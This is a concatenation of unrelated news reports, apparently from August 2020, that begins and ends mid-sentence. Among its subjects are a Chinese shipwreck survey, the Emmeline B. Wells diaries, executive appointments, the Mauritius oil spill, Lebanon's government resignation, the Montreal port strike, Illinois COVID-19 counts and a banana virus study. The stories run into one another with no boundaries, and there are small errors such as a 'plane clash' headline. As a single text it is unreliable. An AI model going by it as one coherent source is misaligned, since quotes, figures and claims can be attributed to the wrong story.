2019, China officially launched the first phase of the survey and found 157 cultural relics items, as well as an armor measuring 2.86 meters in length and weighing over 10 tonnes. The armor helped archaeologists identify the battleship. The second stage of the survey is aimed at fishing out the massive armor and cleaning the ship's bow and stern, covering an estimated area of 300 square meters. The findings will provide critical archaeological materials for research on the First Sino-Japanese War and the modern history of navy and battleships. The war, which started in 1894, is commonly known in China as the Jiawu War. On July 25, 1894, the Japanese fleet attacked two Chinese vessels off the Korean port of Asan. At that time, Korea was a tributary of the Qing Empire. By March 1895, the Chinese land army and navy were routed, which was the first time that China had been defeated by Japan in a military conflict. Enditem The Church Historians press of The Church of Jesus Christ of Latter-day Saints announced the online publication of six additional volumes of the diaries of Emmeline B. Wells, covering 1892 to 1896. "The publication of these diaries is important for women everywhere, including in the greater Chattanooga area, which is home to the Chattanooga Stake Relief Society, a part of the oldest and largest womens organization in the world with more than seven million members across the globe in over 188 countries and territories," officials said. According to Chattanooga Stake Relief Society President Celeste Ward, the life and work of Emmeline B. Wells continues to impact women for good. Wells (1828-1921) was a journalist, womens advocate and suffragist. She wrote extensively for the Womans Exponent, a newspaper for Latter-day Saint women, which became part of a nationwide network of feminist journalism (wikipedia). Wells served as editor of the Exponent from 1877-1914 and also wrote for womens papers in the eastern United States, advocating for womens legal, political and religious rights. Her writings caught the attention of national suffragist leaders who invited her and Zina Young Williams, another Latter-day Saint activist, to attend the 1879 National Woman Suffrage Association meeting in Washington DC where Wells met national suffrage leader, Susan B. Anthony, who became a lifelong friend.What many people may not know, said Mrs. Ward, is that 50 years before the United States passed the 19th Amendment, which granted women the right to vote, women in Utah were already voting. In fact, women in Utah were the first to exercise equal suffrage rights, beginning in 1870. The Nineteenth Amendment was passed by Congress in 1919, and ratified in 1920.Beyond suffrage, Emmeline B. Wells appeared before U.S. House and Senate Committees to defend religious freedom. In 1895, she wrote, I have desired with all my heart to do those things that would advance women in moral and spiritual as well as educational work and tend to the rolling on of the work of God upon the earth (newsroom.churchofjesuschrist.org).When she was 82 years old, Wells was called to be the fifth general president of Relief Society. In 1919, President Woodrow Wilson and his wife visited Wells in her home in Salt Lake City, Utah to present her with a commendation for selling more than 200,000 bushels of wheat to the U.S. government during World War I. The wheat had been painstakingly collected for years under the direction of Wells who Brigham Young had appointed in 1876 to head up a church-based grain-saving program for time of shortage (wikipedia and newsroom.churchofjesuschrist.org).Wells was born in Massachusetts. She was baptized a member of The Church of Jesus Christ of Latter-day Saints at the age of 14. She earned a teaching certificate and migrated to Nauvoo, Illinois. She crossed the plains to Utah and reached the Salt Lake Valley in 1848. What strikes me most, Mrs. Ward said, is that Emmeline B. Wells encouraged women to learn from women, especially women who comforted the sad and distressed, visited the widow and fatherless, and were like ministering angels. She urged young and old to be kind to friends and enemies alike, to volunteer in community efforts and to seek the pure love of Christ (lds.org). This is the same message the world needs today, and I am pleased to join with women around the world, including in the greater Chattanooga area, to celebrate the diaries and legacy of Emmeline B. Wells who lived to be 93 years old and saw the day when all American women were guaranteed the right to vote, Mrs. Ward concluded. Blake Woolsey Heartland Forward, a nonprofit, nonpartisan institute for economic renewal spearheaded by members of the Walton family, has named Blake Woolsey as its chief communications and development officer. Woolsey comes to the organization after having run her own firm, Blake Communications, since 2018. She was previously executive vice president at Fayetteville, AR-based Mitchell from 2008 to 2018, and was a partner and co-owner of Executive Communications Consultants. In hew new role, she will lead Heartland Forward's communications efforts and network management. "Blake has decades of experience in communications and a true passion for the Heartland. Her new role will help increase awareness of the important work we're doing at Heartland Forward, and her knowledge of our region will be invaluable as we look to share and build upon the research and analysis our team has produced over the last year, said Heartland Forward president and CEO Ross DeVol. Stan Wagner Maverick Public Relations has brought on Stan Wagner as a managing partner. Wagner joins Maverick from engineering design services company urban-gro, Inc., where he served as vice president of marketing, responsible for both the marketing and public relations efforts of the company. His previous positions include director of operations at Sterling Communications, a West Coast tech-focused agency. In his new post, Wagner leads Mavericks marketing communications for professional services, based out of its City Park office in Denver. Stan was one of the first marketing professionals to enter Colorados newly legal cannabis market and I credit him for bringing me into the industry, so Im thrilled he is joining the Maverick team, said Maverick founder Shawna Seldon McGregor. Donald Cumming BlueWillow Biologics has named Donald Cumming vice president of marketing & sales. Cumming was most recently global marketing director at Ranir, which produces oral care products. He has also served as marketing director at Meijer, a senior brand manager at Kellogg and a marketing supervisor at 3M. At BlueWillow, Cumming will have responsibility for marketing and sales operations for the companys pharmaceutical brands, including the launch of its NanoBio Protect, an alcohol-free nasal antiseptic. Cummings extensive marketing and sales acumen across a range of related business positions his well to enhance the market presence of BlueWillows brands and products, said BlueWillow CEO Chad Costley. Tram Bui Antares Pharma has appointed Tram Bui vice president of corporate communications and investor relations. Bui will succeed vice president of corporate affairs Jack Howarth, who is retiring on Aug. 31. She joins Antares Pharma from investor relations and communications firm The Ruth Group, where she was senior vice president, investor relations. She was previously a director at KCSA Strategic Communications. We look forward to leveraging her extensive industry experience and strong relationships with the investment community, said Antares executive vice president and chief financial officer Fred M. Powell. The Albright-Knox Art Gallery is suing the architects who planned its warehouse expansion five years ago, alleging they failed to design a structure that would prevent condensation from occurring inside that could damage artwork and other precious items. The Buffalo Fine Arts Gallery which operates as the Albright-Knox accused Watts Architecture & Engineering of negligence and breach of contract in a lawsuit filed Aug. 6 in State Supreme Court in Buffalo. The gallery said it relied on Watts' design and recommendations to purchase and erect a pre-engineered metal building that almost immediately revealed problems, and now cannot be used for its intended purpose. "Watts was negligent and failed to exercise that degree of care, expertise and responsibility consistent with the professional skill and care ordinarily provided by architects and engineers to produce a building that satisfied the critical environmental needs of the Gallery for storage and conservation of artworks and precious objects," the gallery said in the lawsuit filed by attorneys Richard T. Sullivan and Michael A. Brady. Edward Watts Jr., president of the minority-owned firm, declined to comment "at this time." Following its exclusive NYC engagement on March 13 th where it grossed the highest per theater average in the U.S. for the weekend "Inside The Rain" was booked in theaters in the top 40 US markets, including AMC Theatres and Regal, just as theaters shut down due to the coronavirus pandemic. The film was then immediately released on numerous streaming platforms to make it accessible to a multitude of audiences. The film can be streamed on Amazon Prime, Peacock, The Roku Channel, Pluto TV, Tubi, YouTube Movies, Sling TV, Xumo, Stirr, FilmRise and other platforms. "Inside The Rain" is loosely based on Aaron Fisher's personal experiences. Fisher, who suffers from bipolar disorder among other mental health issues, wrote the film as his artistic expression of life from his point of view. The result was a light-hearted and entertaining romantic comedy. The film attracted many top film critics attention including The New York Times, that noted "Aaron Fisher's movie ultimately works as a reflection of its lead character's manic and depressive states," The San Francisco Chronicle said "Assured, offbeat comedy. Aaron Fisher shines both behind and in front of the camera," and Variety hailed "Aaron Fisher's semi-autobiographical dramedy about a manic-depressive student gracefully maneuvers through mood swings." The movie generated substantial buzz and critical acclaim at sold-out screenings on the film festival circuit. "Inside The Rain's" world premiere was at the Woodstock Film Festival, where it was nominated for Best Feature Narrative. It was an official selection at the Nashville Film Festival, San Diego International Film Festival, Twin Cities Film Festival as its Centerpiece highlight, the Big Apple Film Festival, where it was the Opening Night film and won Best Feature Film and was the featured film at the LA Film Festival New Filmmakers Los Angeles (NFMLA). "Inside The Rain" received a Best Comedy Feature nomination at the San Diego International Film Festival and won the Special Jury Narrative Feature at Cinema at the Bayou. Film Synopsis College film student Benjamin Glass (Fisher) has it all: ADHD, OCD, borderline personality. And he's also bipolar. But Glass is more than his diagnoses he prefers the term "recklessly extravagant" -- and he's determined to prove his genius. When a misunderstanding threatens to expel him from college, Glass pushes back; he plans on recreating the incident on video, with the help of a moonlighting sex worker (Toland), to clear his name. But how will he raise the money for the film, when his parents dismiss the scheme as another manic episode? "Inside the Rain" is a wincingly funny rom-com-drama, anchored by off-kilter performances by co-stars Fisher and Toland. The colorful ensemble cast includes Rosie Perez as a tough love shrink, Eric Roberts as an unhinged film producer, and Catherine Curtin and Paul Schulze as the long-suffering parents. The ultimate underdog film and proof that if you believe in yourself, anything is possible. "Inside the Rain" was written and directed by Aaron Fisher, produced by George LaVoo and executive produced by Christine Vachon, Danny Fisher and Javier Gonzalez. The film is a presentation of Act 13 in association with Killer Films. The film was cast by Ellyn Marshall and Maria Nelson of Orpheus Group Casting. Production counsel for the film is Evan Krauss of Eisner, LLP. Produced by Inside the Rain, LLC. Official Website: www.insidetherainmovie.com Facebook: https://www.facebook.com/InsidetheRainMovie/ SOURCE Inside The Rain Related Links https://www.insidetherainmovie.com The Syrian army has attack jihadist in Lattakia and Idleb, as Turkey moves in reinforcements and rising speculation of a large-scale assault writes Al-Masdar. The Syrian Army has renewed its attacks on the jihadist defenses in northern Lattakia this week, despite the recent arrival of Turkish military reinforcements to the Jabal al-Akrad region. According to the latest field report from Lattakia, the Syrian army, alongside the Republic Guard, launched several missiles at the jihadist rebels positions in the al-Haddadah area. The Syrian Arab Army reportedly used its domestically-made Golan-1000 missiles, which have been deployed to this region of Lattakia for over a year. Regardless of the Turkish observation posts, the Syrian army has continued their attacks against the jihadist forces that are positioned in these areas. The army also continued their attacks in southern Idleb on Monday, with their artillery and missile units heavily targeting the positions of the jihadist rebels in Jabal al-Zawiya. According to local reports, the Syrian army, with help from Russian reconnaissance drones, launched a number of artillery shells and missiles towards the jihadist defenses around the town of al-Baraa, which is located along the frontlines. Meanwhile, the Turkish military has shelled the Syrian armys positions in Idleb Governorate, for the second time in the last 72 hours. According to a report from Idleb Governorate, the Turkish military shelled the Syrian army troops in southern Idleb after their drones circled the latters positions in the Jabal al-Zawiya region. The report said the Turkish troops fired the artillery shells from one of their observation posts in the southern countryside of Idleb Governorate; this area has been the scene of several intense exchanges between the Syrian army and jihadist rebels over the last few weeks. The Syrian army did not respond to the attack. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. South Koreas Daewoong Pharmaceutical Co Ltd said on Tuesday it received Indian regulatory approval to test its anti-parasitic niclosamide drug to treat COVID-19 patients in an early-stage human trial. The phase 1 trial, approved by Indias Central Drugs Standard Control Organisation (CDSCO), will involve around 30 healthy participants to test the safety and kickstart this month, Daewoong said in a statement. The South Korean drugmaker is testing the drug in partnership with New Delhi-based Mankind Pharma Ltd, which will continue the second and third phases of trials in India on mild and severe coronavirus patients. Drugmakers worldwide are scrambling to develop treatments for the illness caused by the novel coronavirus, which has killed nearly 739,000 people globally since it first emerged late last year in China. The trial results from India will be used for export permits in Europe and the United States, said Daewoong. The company is also waiting for a separate phase 1 trial approval from South Korea, Nathan Kim, vice-president at Daewoongs communications office, told Reuters. Daewoong had said its anti-viral drug had completely eliminated the novel coronavirus from animals lungs during pre-clinical testing. Kerala plane clash: DGCA bans wide-body aircraft at Kozhikode during monsoon India oi-Deepika S New Delhi, Aug 11: The Directorate General of Civil Aviation has banned the operation of wide-body aircraft at Karipur airport during the monsoon season in the wake of the Air India Express (AIE) flight AXB 1344 overshooting the runway on Friday. A Dubai-Kozhikode Air India flight with 191 passengers on board overshot the runway at the Karipur airport. The plane veered off the runway and plunged into a valley while landing in heavy rains, the official said. Kerala plane crash: 56 injured passengers discharged, says AI Express Coronavirus: Russia claims first Covid-19 vaccine 'Sputnik V', WHO wants to review | Oneindia News When asked about the duration of the ban, the aviation regulator said, "No date has been fixed. We will wait for the monsoon to get over and as a means of abundant caution we are doing it," according to news agency PTI. A wide-body aircraft like B747 and A350 have a bigger fuel tank. It can travel longer distances than the narrow-body aircraft. It also needs a longer runway length to take off or land. Fifty-seven new COVID-19 cases were reported Monday across west-central Illinois, 44 of them in Morgan County which also recorded five virus-related deaths. Four of the deaths were among those involved in an outbreak at Jacksonville Skilled Nursing and Rehabilitation Center, according to the Morgan County Coroners Office. A 103-year-old woman died Friday and two women, ages 66 and 86, died Sunday at the facility. An 84-year-old man died Monday. The fifth person, an 83-year-old woman, died Saturday at Memorial Medical Center in Springfield. Our hearts go out to the family and friends of these individuals and the nursing home and hospital staff who cared for them, Coroner Marcy Patterson said. Most of the new diagnoses in Morgan County were related to an outbreak at Jacksonville Correctional Center. Prison officials and the health department said 25 prisoners and nine staff members have tested positive. Other cases during the weekend were among a girl in her teens, two boys in their teens, three women in their 20s, two women in their 30s, a man in his 30s, a woman in her 40s, a man in his 40s, a woman in her 50s, three men in their 50s and two women in their 70s, according to a daily briefing by Jacksonville/Morgan County Emergency Management, Memorial Health System, Morgan County commissioners and the city of Jacksonville. There have been 322 coronavirus cases in Morgan County, with 189 recoveries and 11 deaths. Neighboring Scott County has added five cases, bringing its total to 20. The latest diagnoses were in a man in his 20s, a man in his 40s, two women in their 50s and a woman in her 70s, according to Scott County Health Department. A health department representative said there have been reports that some of those who have been in contact with infected people are not adhering to isolation rules. This is very frustrating, as we are trying to keep as many people safe and healthy as possible, the agency said in a statement. But we need everyone to understand that this has to be a community effort. The health department cannot physically keep everyone in their homes. We understand that our citizens are also concerned about this. We feel your frustration. Please, everyone wear masks if you are in public and observe social distancing. This is the only way to prevent further cases. If you are a positive case or a contact and you have received a call from the health department regarding COVID, we expect you to help us by isolating at home. Cass County, which is among 13 counties in Illinois at a warning level for cases, said three positive tests were reported during the weekend, involving a girl under age 10, a woman in her 20s and a man in his 40s. A previously reported case that was inconclusive was tested again and came back negative, so it has been removed from the total case count, according to Cass County Health Department. There have been 234 cases total in Cass County, with 182 people recovered and 11 deaths. Pike County has been notified of two new cases, according to Pike County Health Department. The new cases bring its total count to 19, of which 11 are active. The new cases involve two men in their 70s, according to the health department. Six cases were added in Jersey County, bringing the total case count there to 116, with 35 active. There have been two deaths in Jersey County. Macoupin County saw its number rise by 14, bringing the countys total cases to 190. There have been four coronavirus-related deaths. Total cases in other west-central Illinois counties as of Monday were: 13 in Brown County; 22 in Greene County; 1,274 in Sangamon County; and 17 in Schuyler County, according to the Illinois Department of Public Health. Statewide, 1,319 new cases of coronavirus disease and one death were reported Monday, according to the state health department. There have been 195,399 cases in Illinois and 7,637 deaths. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Port Louis, Mauritius Tue, August 11, 2020 12:00 526 6657ac82168da9fa101c8a4066d12ebe 2 World Mauritius,oil-spill,tanker,environment,environmental-issues Free Salvage crews raced against time Monday to prevent a second disastrous oil spill off the picture-perfect coastline of Mauritius, with a damaged tanker carrying nearly 2,000 tons of fuel at risk of splitting apart. The bulk carrier MV Wakashio ran aground on July 25 with 4,000 tons of fuel and began seeping oil last week, staining coral reefs, mangrove forests and tranquil lagoons in an unprecedented environmental catastrophe for the Indian Ocean archipelago nation. More than 1,000 tons has already oozed from the ship, its Japanese operator says, causing untold ecological damage to protected marine parks and fishing grounds that form the backbone of Mauritius' economy. Fuel was slowly airlifted from the ship Monday by helicopter to the shore, but efforts to pump more from the hold had been thwarted by rough seas and strong winds. The weather, which had fanned the oil slick further up the coast, had improved enough for a barge to approach the ship and safely pump out 500 tons on Monday, Prime Minister Pravind Jugnauth said. That left nearly 2,000 tons of oil on the ship, he said at a press conference late Monday. Jugnauth had earlier warned that cracks in the hull were worsening, and there was a very real chance the boat could split. Creaking sounds "We are in an advanced fracturing process. The bulk carrier does not have much time ahead of it," said one scientist working on the emergency effort, speaking on condition of anonymity. Divers have reported fresh cracks in the hull, while creaking sounds from the vessel could be heard from the southeast shore, where a major clean-up operation is underway to remove treacly sludge coating miles of Mauritius' previously unspoiled coastline. Japan on Monday dispatched a six-member team, including members of its coastguard, to assist. France has sent more than 20 tonnes of technical equipment -- including 1.3 kilometers of oil containment booms, pumping equipment and protective gear -- along with technical advisers from nearby Reunion, a French Indian Ocean island. A spokesman at Mitsui OSK Lines, which operates the Wakashio, owned by another Japanese company, Nagashiki Shipping, told AFP it would send a team of experts as soon as Tuesday if they tested negative for coronavirus. "Nagashiki Shipping deeply apologize to the people of Mauritius and will do their utmost to protect the environment and mitigate the effects of the pollution," the Wakashio's owner said in a statement Monday. Volunteers fight oily tide The bulker struck a reef at Pointe d'Esny, an ecological jewel fringed by idyllic beaches, colorful reefs, sanctuaries for rare and endemic wildlife, and protected wetlands. Aerial images show the enormity of the disaster, with huge stretches of crystal-clear seas around the marooned cargo ship stained a deep inky black. Thousands of volunteers, many smeared head-to-toe in black sludge, have turned out along the coast since Friday, stringing together miles of improvised floating barriers made of straw in a desperate attempt to hold back the oily tide. "My friends and I came here today to lend a hand because of the degradation of our environment. The entire marine ecology has been affected by the heavy oil spilled from the ship. We are very affected by this problem," said Eldridge Larhubarbe, a student. Police are expected to take statements from the captain and crew of the Wakashio after launching an investigation. Detectives boarded the ship on Sunday and seized the log book and black box. Pressure is mounting on the government to explain why more was not done in the two weeks since the vessel ran aground. Mauritius and its 1.3 million inhabitants depend crucially on the sea for food and ecotourism, having fostered a reputation as a conservation success story and a world-class destination for nature lovers. The spill is a double blow for tourist operators who had hoped foreign tourists could soon return. The country has no active cases of coronavirus and had declared a wary victory after a long stretch without any new infections, but its borders remain closed. The global leader in the pool and wellness equipment sector acquires the Brazilian company, which specializes in the production and sale of chemical products for swimming pools. The move makes Fluidra the sole player in the Brazilian market with a combined business model: the manufacturing of both equipment and chemical products to treat swimming pool and wellness equipment. August 11, 2020 - Fluidra, a global leader in the pool and wellness equipment sector, has acquired Brazilian company Ten Four, which specializes in the production and sale of chemical products to treat swimming pool and wellness equipment, incorporating the company into its network in Latin America. The move makes Fluidra the sole player in the Brazilian market that offers both swimming pool equipment as well as water treatment products, delivering significant added value to customers. Ten Four has an annual turnover of around 17 million Brazilian Real, close to 2.7 million euros. The company is a white label manufacturer, primarily producing solid chlorine, algaecides, pH regulators, etc. Ten Four has roughly 6,000 m2 of modern facilities in Valinhos, a city on the outskirts of Sao Paulo. Ten Four also has major supply contracts with leading third parties and will serve as a platform for the development of the AstralPool chemical range. By incorporating Ten Four's facilities into its network, Fluidra gains a chemical and industrial hub that will make it possible to cover the entire Latin American market. Fernando Jorge, Ten Four's owner at the time of the acquisition, will continue to contribute his expertise as the company's manager, reporting to Jose R. Fornieles, Fluidra's General Manager for Latin America. Fluidra CEO Bruce Brooks believes that the acquisition "is great news for all our customers in Latin America, one which allows us to build a common future full of opportunities and synergies, and to continue creating value for our shareholders. We are excited to welcome Fernando Jorge and his team to Fluidra." Fluidra also reached an agreement with Danish company Dantherm for the sale of SET Energietechnik GmbH, a German manufacturer specialized in dehumidification and heating equipment for swimming pools, which was acquired by Zodiac in 2013. Dantherm, based in Skive, Denmark, is a leading supplier of heating products and solutions for various climate control applications including heating, dehumidification, cooling, and ventilation. According to Bruce Brooks: "We are convinced that SET's acquisition by Dantherm represents a major opportunity to further develop its products and enter new markets. We thank the SET team for their hard work and commitment and wish them all the best for the future." Attachments Many believe the governments resignation will do little to change political deadlock and economic crisis. Angry Lebanese have demanded the removal of what they see as a corrupt ruling class to blame for the countrys woes, adding that the governments resignation on Monday did not come near to addressing the tragedy of last weeks Beirut explosion. A protest with the slogan Bury the authorities first was planned near the port, where highly explosive material stored for years exploded on August 4, killing at least 163 people, injuring 6,000 and leaving hundreds of thousands homeless. Prime Minister Hassan Diab, announcing his cabinets resignation, blamed endemic corruption for the explosion, the biggest in Beiruts history and which compounded a deep financial crisis that has collapsed the currency, paralysed the banking system and forced up prices. I said before that corruption is rooted in every juncture of the state but I have discovered that corruption is greater than the state, he said, blaming the political elite for blocking reforms. Talks with the International Monetary Fund have stalled amid a dispute between the government, banks and politicians over the scale of vast financial losses. For many Lebanese, the explosion was the last straw in a protracted crisis over the collapse of the economy, corruption, waste and dysfunctional government. It does not end with the governments resignation, said the protest flyer circulating on social media. There is still [President Michel] Aoun, [Parliament Speaker Nabih] Berri and the entire system. Little hope Many people in Lebanon, and on social media, felt Mondays announcement by Diab would do little to change the political situation. Its a good thing that the government resigned. But we need new blood or it wont work, silversmith Avedis Anserlian told the Reuters news agency in front of his demolished shop. I dont think it [the governments resignation] will make a difference. All the ministers in Lebanon are just a face. Behind that are the militias who control everything, Rony Lattouf, a shop owner in Beirut, told Al Jazeera. Its these militias that decide on things in Lebanon. People have to make a powerful move to remove them, he added, standing in front of his collapsed shop not far from the port. In my humble opinion, i really think the resignation of the government won't solve or do any better for the people of lebanon, because the real corrupt elites are still ruling from their places. Obada Odeh (@ObadaOdeh5) August 10, 2020 Aoun is now required to consult with parliamentary blocs on who the next prime minister should be, and is obliged to designate the candidate with the most support. Forming a government amid factional rifts has been daunting in the past. With growing public discontent and the crushing financial crisis, it could be difficult to find someone willing to be prime minister. Picking up the pieces Beirut residents, meanwhile, continued to pick up the pieces as search operations for the missing continued. Officials have said the blast could have caused losses of $15bn, a bill Lebanon cannot afford. Speaking from Beirut, Al Jazeeras Bernard Smith said as the political situation develops, people were still concerned about the devastation to their homes and business. Ihsan Mokdad, a contractor, surveyed a gutted building in Gemmayze, a district a few hundred metres from the port. As the prime minister said, the corruption is bigger than the state, said Mokdad. Theyre all a bunch of crooks. I didnt see one MP [member of Parliament] visit this area. MPs should have come here in large numbers to raise morale. MONTREAL - Canadas labour minister has rejected requests to intervene in a strike launched Monday by Port of Montreal workers. We have faith in the collective bargaining process, as we know the best deals are made at the table, Filomena Tassi said in a statement. Our governments clear expectation is for both parties to work together to resolve their differences quickly. We will be monitoring the situation closely, and looking into how to support the ongoing mediation efforts. Tassi said federal mediation teams have met with both parties on many occasions since the collective agreements expired Dec. 31, 2018, and continue to be present and available. Earlier, five groups that represent Quebecs private sector called on Ottawa to intervene to force the resumption of port activities because the strike is taking the economy hostage. The effects of a prolonged strike on Montreals and Quebecs economy will be devastating, stated Montreal Board of Trade president Michel Leblanc. With every passing day, the strike will further slow the recovery of our economy. We will lose opportunities for future growth. There is a risk that the ships that are taking Montreal off their routes today will not be coming back. The longshore workers union failed to reach an agreement with the Maritime Employers Association despite discussions that continued until early Monday morning. The union said the port-wide strike relates to scheduling and wage conditions. The employers association said it believes the solution lies in a truce that would result in binding arbitration if no agreement is reached after two months. The strike shut down activity at Canadas second-largest port with the exception of grain transport and shipments to Newfoundland and Labrador. Tassi said the government understands the importance of the port and its workers to the Canadian economy. She and Transport Minister Marc Garneau have told the parties to focus on reaching an agreement and avoid further disruption. The labour action by more than 1,100 longshore workers comes after a series of temporary strikes by the Canadian Union of Public Employees over the past six weeks saw several ships diverted to ports in Halifax, New York City and Saint John, N.B. This report by The Canadian Press was first published Aug. 10, 2020. Read more about: Turning 65 this year in Indiana? Experts at the American Association for Medicare Supplement Insurance recommend comparing prices for Medicare insurance. According to data published today by the organization, rates can vary. "Comparing prices is important and can result in some significant savings," shares Jesse Slome, director of the Association. "A man turning 65 could pay as little as $108 monthly or as much as $236-per-month for basically identical Medigap coverage," "Insurers offering coverage to Indiana seniors set their own rates and they vary," Slome adds. "The Association examined fees that get added to the monthly cost and they may also vary as will discounts for two-person households." In Indiana, the household policy-pricing discount varies from zero to as high as 14 percent according to the AAMSI policy analysis. The 2020 Medicare Supplement Price Index from AAMSI reports the highest as well as the lowest available insurance rates for Medigap Plan G. "Plan G is the most popular choice among seniors turning 65," Slome explains. "The survey is intended to educate more seniors turning 65 about the importance of comparing options. You might be making a decision that you cannot easily change down the road." Access the 2020 Medicare insurance pricing report for top U.S. cities via the organization's website. You can also find tips for getting coverage shared by top Medicare insurance advisors. Indiana Medicare Supplement Plan G 2020 Price Index Findings INDIANAPOLIS, IN (Zip 46227) FEMALE age 65, Plan G Lowest monthly premium: $104.14 Highest monthly premium: $205.42 MALE age 65, Plan G Lowest monthly premium: $117.56 Highest monthly premium: $236.24 FORT WAYNE, IN (Zip 46815) FEMALE age 65, Plan G Lowest monthly premium: $93.50 Highest monthly premium: $182.60 MALE age 65, Plan G Lowest monthly premium: $107.50 Highest monthly premium: $209.99 EVANSVILLE, IN (Zip 47720) FEMALE age 65, Plan G Lowest monthly premium: $93.50 Highest monthly premium: $182.60 MALE age 65, Plan G Lowest monthly premium: $107.50 Highest monthly premium: $209.99 To find Indiana Medicare insurance agents use the self-service American Association for Medicare Supplement Insurance (AAMSI) online directory of local Medicare agents. "The nation's biggest listing of Medicare insurance advisors is free to use and completely private," Slome shares. AAMSI is an advocacy and informational organization. The national organization supports insurance professionals who market Medicare Supplement insurance. Former Union minister and Bharatiya Janata Party MP from Uttara Kannada Anantkumar Hegde, no stranger to controversies, has stirred up another one by calling BSNL employees traitors and anti-nationals who would be fired as they refused to work. In a video of an event in Kumta in his parliamentary constituency on Monday that has been widely shared, the MP was seen saying that the state-owned Bharat Sanchar Nigam Limited was a blot on the country as even after being provided money, infrastructure and a ready market, the telcos employees just refuse to work. The only cure for that is privatisation which our government will do. Some 85,000 will be fired and later on more need to be fired, he was seen saying in the video. The opposition Congress criticised Hegdes remarks, saying the comments only showed his own worth. The party also said that the Centre was out to privatise everything and this indicated its inability to govern. Hegde has been known to make controversial statements in the past as well. Earlier this year, he said that the freedom movement led by Mahatma Gandhi was a drama, drawing severe criticism from the opposition parties including the Congress which even asked Prime Minister Modi to make his stand clear on Hegdes remarks. The former minister,however, later sought to down play the controversy, saying he never made any reference to any political party or Mahatma Gandhi and was just trying to categorise freedom struggle. In January 2019, Hegde had called Congress leader Dinesh Gundu Rao as someone who went after a Muslim lady, an indirect reference to Raos wife Tabassum. A few days later, he was reported to have described then Congress president Rahul Gandhi a hybrid specimen who, the BJP leader claimed, had a father who is a Muslim and a mother who is a Christian. Later the same year, he labelled a former IAS officer as a traitor and asked him to go to Pakistan. In 2018, Hegde had declared that the Constitution would be amended to remove the word secular from the preamble, though later he apologised for the comment, saying it had been twisted. Three young men have been inundated with female admirers after promoting their removalist business on social media. Jose Bezanilla shared the advertisement to a local Facebook group on Tuesday to spruik his company, The Removal Brothers, based in Sydney's eastern suburbs. The post garnered hundreds of reactions and comments, largely from women who were more interested in the workers rather than the business. The Removal Brothers, left to right: Franco, Jose Bezanilla, Esteban and Facu. Jose and Esteban met while studying business degrees at university Mr Bezanilla, 28, told Daily Mail Australia his colleagues are used to the compliments from admirers 'If anyone is moving soon I'm here to remind you of our removalist service. We have been lucky enough to service for more than two years now,' the post read. 'We've done huge six bedrooms houses in Dover Heights and small studios in Bondi too. So big or small, we can do it.' The post was accompanied by photos of the burly removalists - and amorous women flocked to the comments section in droves. 'Yum! Now I need to think what I need to move!' one woman wrote. Another tagged her housemate and joked: 'Wanna move stuff back and forward between our places for bit?' The post garnered hundreds of reactions and comments, largely from women who found the photos of the muscular men attractive Mr Bezanilla tells admirers he has a girlfriend (Brittany, pictured) who is 'even more attractive than I am' Mr Bezanilla (right, with his girlfriend Brittany) said he and his colleagues are good looking and great removalists Someone else tagged a friend and said: 'We need anything removed?' Another friend offered to help, but the woman replied: 'Yeah but you don't look like that.' Mr Bezanilla, 28, told Daily Mail Australia his colleagues are used to the compliments. 'We have posted before similar posts in Facebook groups and people have responded in the same way,' he said. 'Good looking boys but great removalists too.' While some of his colleagues have been on dates with admirers, Mr Bezanilla had a proposition from a male client who wanted to 'show me lots of attention' Along with helping families move house, the pair also commit to charity work. Pictured: a removalist working in a client's home While some of his colleagues have been on dates with admirers, Mr Bezanilla had a proposition from a male client who wanted to 'show him lots of attention'. He appreciate the compliment, but had to break the news that he was taken. 'I tell anyone interested that I'm the lucky man cause my girlfriend is even better looking than me,' he laughed. Mr Bezanilla and his business partner Esteban met while studying business administration at university and decided to start the company. Along with helping families move house, the pair also commit to charity work. Removal Brothers have helped victims of domestic violence move into new homes, free of charge. They have also moved furniture from offices of businesses affected by COVID-19, and helped victims of bushfires on the NSW south coast leave their damaged homes. Fayaz Wani By Express News Service SRINAGAR: The BJP welcomed Shah Faesals decision to quit politics even as political commentators pointed as the shrinking space for mainstream politics in Jammu and Kashmir after revocation of Article 370 in August last year. BJP General Secretary, organisation, Ashok Koul termed Faesals decision as a good step. It is a good move. We expect him to again be a part of the administration. He should join the administration and work for the welfare of the people. It will be better. Political commentator Noor Mohammad Baba, however, says the development since August 5 last year has changed the discourse and atmosphere of politics in J&K. The context in which Shah Faesal joined politics is no more there. It is now different type of politics. May be he has realised that he cannot do what he had imagined to do when he joined politics last year. He must have felt the present atmosphere was not suited for his type of politics. Baba, who taught political science at University of Kashmir, said Faesal wanted to provide alternative to mainstream politics in J&K but then even the mainstream politics is under stress since last year. He did not enjoy freedom for the last one year. It must have had an impact on him and his family, he said. Faesal, who was IAS topper in 2009, had quit his civil service job in January last year to plunge into politics. The Jammu and Kashmir Peoples Movement president was detained along with other mainstream leaders after scrapping of Article 370 by centre on August 5 last year and was among a dozen leaders including three former CMs to be booked under the stringent Public Safety Act (PSA). Although his PSA was revoked in July, he still continues to remain under house detention. Another political commentator, who refused to be named, said the challenges for politics in J&K are much bigger now since last year. The role which Faesal visualised for himself to play is impossible now as that kind of atmosphere is not available, he said. The political commentator said there are more complexities involved in politics now and even if Faesal stayed in politics, he could not have contributed much. In the given atmosphere of restrictions and changed political context, he must want to focus on studies and then may join administration again, the political commentator said. How maths modelling helps efforts to eradicate banana bunchy top virus, QUT study Modelling the predicted movements of pervasive sap-sucking tiny insects before they infest banana crops has the potential to become a key tactic in the fight against a devastating virus, according to QUT research. Banana bunchy top virus (BBTV) is an aphid-transmitted banana disease that has been in Australia since 1913 and has been contained by biosecurity agencies to southeast Queensland and northern New South Wales. Badly affected plants will not produce fruit if left unchecked and entire plantations can become infested. BBTV cannot be cured and infected plants must be destroyed. QUT researchers have designed a model that tracked the probability of a banana plant being infected by aphids that carried the disease, with the findings published in PLOS Computational Biology. Keypoints:- Aphids can fly long distances to new plantations and quickly infect nearby plants. Current inspection measures by biosecurity agents are costly and time-consuming. Mathematical and statistical models can help to predict areas of risk of infection. A stochastic mathematical model describes disease spread, infectivity and recovery rates. External environmental and seasonal factors influence virus spread. The framework can be adapted to study dynamics of other vector-borne diseases. A 2012 study estimated the benefits from eliminating the disease would be worth between $16-27 million to Australia each year. Distinguished Professor Kerrie Mengersen said despite ongoing traditional methods of monitoring and management of the disease, eradication had proved elusive. The latest study, conducted in collaboration with biosecurity agents, focused on a 